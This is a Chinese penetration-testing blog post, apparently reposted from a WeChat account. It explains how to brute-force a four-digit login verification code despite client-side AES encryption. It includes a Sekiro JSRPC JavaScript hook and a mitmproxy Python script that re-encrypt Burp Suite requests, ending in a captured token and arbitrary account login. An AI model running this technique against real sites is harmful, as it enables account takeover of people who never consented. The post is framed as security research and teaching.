利用JSRPC协议与mitmproxy实现任意用户登录|挖洞技巧

admin 2025年2月24日13:46:25评论35 views字数 2333阅读7分46秒阅读模式

0x01 前言

       利用JSRPC协议实现任意用户登录的方法。通过抓取登录页面的数据包,发现数据经AES加密后传输,遂构建解密工具。结合JSRPC协议与mitmproxy代理,注册加密接口,实现从明文到密文的转换。在Burp Suite中发送明文请求,经mitmproxy加密后发送至网站,最终绕过加密限制,完成验证码爆破并获取token,实现任意用户登录。此方法为渗透测试中处理加密数据提供了创新思路,尤其适用于登录场景。

0x03 漏洞发现

找到了一个登录页

利用JSRPC协议与mitmproxy实现任意用户登录|挖洞技巧
接收验证码 四位 可能存在验证码爆破
利用JSRPC协议与mitmproxy实现任意用户登录|挖洞技巧
抓取数据包进行查看 发现数据被加密 手动输入多次验证 原验证码可用 开始对加密进行解密
利用JSRPC协议与mitmproxy实现任意用户登录|挖洞技巧
JS调试找到加密算法
利用JSRPC协议与mitmproxy实现任意用户登录|挖洞技巧
利用JSRPC协议与mitmproxy实现任意用户登录|挖洞技巧
AES加密 将解密方法设置全局方便后续调用
利用JSRPC协议与mitmproxy实现任意用户登录|挖洞技巧

安装Jsrpc

https://github.com/yint-tech/sekiro-open

构建完成后,会生成文件夹sekiro-open-demo,在bin文件夹中根据系统来选择运行.bat还是.sh即可

运行后的样子

利用JSRPC协议与mitmproxy实现任意用户登录|挖洞技巧

https://sekiro.iinti.cn/sekiro-doc/

在文档中 可以看见官方注入的JS

导入sekio.js 我们自己在底部单独注册一个接口 运行

利用JSRPC协议与mitmproxy实现任意用户登录|挖洞技巧
functionguid() {functionS4() {return (((1 + Math.random()) * 0x10000) | 0).toString(16).substring(1);    }return (S4() + S4() + "-" + S4() + "-" + S4() + "-" + S4() + "-" + S4() + S4() + S4());}//Modify contentgroup = "MiNi";registerAction = "AES";var client = new SekiroClient("ws://127.0.0.1:5612/business-demo/register?group=" + group + "&clientId=" + guid());client.registerAction(registerAction, function(request, resolve, reject) {    response = v(atob(request['text']));    resolve(response);})

注册好后访问

http://127.0.0.1:5612/business-demo/invoke?group=xxx&action=xxx&text=xxx

text为需加密内容

利用JSRPC协议与mitmproxy实现任意用户登录|挖洞技巧
因为加密数据存在&在URL解析时容易出现问题
利用JSRPC协议与mitmproxy实现任意用户登录|挖洞技巧
修改下sekio.js 输入base64数据即可 会将base64数据解密在进行加密返回
利用JSRPC协议与mitmproxy实现任意用户登录|挖洞技巧
Data为我们加密后的数据 text内容是我们的需要加密的内容
利用JSRPC协议与mitmproxy实现任意用户登录|挖洞技巧
利用JSRPC协议与mitmproxy实现任意用户登录|挖洞技巧
到此 即可生成自己想要的一个密文字典用python进行爬取保存对应的加密数据即可
利用JSRPC协议与mitmproxy实现任意用户登录|挖洞技巧

如果手动生成密文字典效率较低,利用mitmproxy结合JSRPC服务,在Burp Suite中实现明文爆破并自动转换为密文发送。具体实现如下:

安装mitmproxy:使用命令安装:
pip3 install mitmproxy
创建服务器
import requestsimport urllib.parseimport reimport jsonfrom mitmproxy import ctxdef encrypt(data):data = data.replace('&'"%26")    url = "http://127.0.0.1:5612/business-demo/invoke?group=MN&action=AES&text={}".format(data)    res = requests.get(url)    res = json.loads(res.text)return res['data']def request(flow):    # 获取GET请求的数据data = flow.request.query.get('data')    print('Get request data ===> 'data)    encryptData = encrypt(data)    print('EncryptData ===> ', encryptData)    # 设置修改后的请求 body 数据    flow.request.query['data'] = encryptData    # url = flow.request.url + "?data=" + encryptData    # res = requests.get(url)# 请求后的数据def response(flow):    response = flow.response    print(response.text)    ctx.log.info(str(response.status_code))
启动服务:运行命令:
mitmweb -v -s test.py -p8081
配置Burp代理:将Burp Suite的代理设置为127.0.0.1:8081,使请求经过mitmproxy处理。
利用JSRPC协议与mitmproxy实现任意用户登录|挖洞技巧
后面就进行明文爆破即可实现密文发送的效果
利用JSRPC协议与mitmproxy实现任意用户登录|挖洞技巧
利用JSRPC协议与mitmproxy实现任意用户登录|挖洞技巧
解密获取token
利用JSRPC协议与mitmproxy实现任意用户登录|挖洞技巧

0x04 总结

  最后总结,登录页面存在四位验证码爆破风险,但数据加密增加了攻击难度。通过JSRPC协议搭建的加密服务和mitmproxy的代理功能,可以在Burp Suite中实现明文爆破,mitmproxy自动完成加密并发送请求。成功后,可获取token实现任意用户登录,将低风险漏洞升级为高危漏洞。喜欢的师傅可以点赞转发支持一下谢谢!

0x05

原文始发于微信公众号(渗透安全HackTwo):利用JSRPC协议与mitmproxy实现任意用户登录|挖洞技巧

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月24日13:46:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用JSRPC协议与mitmproxy实现任意用户登录|挖洞技巧https://cn-sec.com/archives/3771887.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息